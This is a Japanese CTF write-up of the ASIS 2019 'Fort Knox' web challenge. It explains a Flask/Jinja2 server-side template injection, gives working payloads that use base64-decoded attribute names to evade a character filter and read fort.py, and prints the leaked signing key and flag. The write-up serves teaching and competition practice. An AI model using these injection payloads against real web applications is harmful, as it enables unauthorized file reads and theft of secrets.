ASIS CTF Quals 2019 - Fort Knox Writeup
与えられたURLにアクセスすると次ようなページが表示される
調査
Check door 1 🚪
をクリックするとDoor #1 is locked
と表示されアクセスができない。他のドアについても同様。
question?
というフォームにaaa
と入力すると次のページが表示される。
ページのソースコードを見ると次の記述がありhttp://104.248.237.208:5000/static/archive/SourceにアクセスするとこのWebアプリのソースコードの一部を入手できる。
<!--Source Code: /static/archive/Source -->
入手できるコードは次の通り。
question?
で入力した値は12行目でテンプレートとして扱われていることがわかる。
t = Template(question)
解き方
入力値をそのままテンプレートとして使っているのでServer-Side Template Injection(SSTI)ができる*1。実際に{{ 1 + 2 }}
と入力すると3
が返ってくる。
次のテンプレートを処理させることでflagにアクセスするための情報が書いてありそうなfort.py
を読みだしたいところだが入力値に._%
のいずれかが含まれている場合に弾く処理があるのでこれを回避する必要がある。
{{ [].__class__.__base__.__subclasses__()[40]('fort.py').read() }}
色々試した結果、次のようにすることで制限を回避できた。
{{ []['X19jbGFzc19f'['decode']('base64')]['X19iYXNlX18='['decode']('base64')]['X19zdWJjbGFzc2VzX18='['decode']('base64')]()[40]('Zm9ydC5weQ=='['decode']('base64'))['read']() }}
応答は次の通り。
SECKEY = "some random key for signing 70657529378630738104827452603621" FLAG = "ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}" CORRECT_BEHAVIOUR = list(map(int, "34515465413625214253")) PERFECT_CREDIT = sum([ x for x in range(len(CORRECT_BEHAVIOUR)) ]) def history(): return session.get("history", []) def visit(door): session["history"] = history() + [door] if len(session["history"]) > len(CORRECT_BEHAVIOUR): session["history"] = session["history"][-len(CORRECT_BEHAVIOUR):] def credit(): credit = 0 hst = history() for i in range(len(hst)): for j in range(len(hst) - i): if hst[i + j] == CORRECT_BEHAVIOUR[j]: credit += j else: break return credit def trustworthy(): return credit() == PERFECT_CREDIT
flagはコードに書いてある通り。
ASIS{Kn0cK_knoCk_Wh0_i5_7h3re?_4nee_Ane3,VVh0?_aNee0neYouL1k3!}
*1:詳しいことは https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti を読めばわかる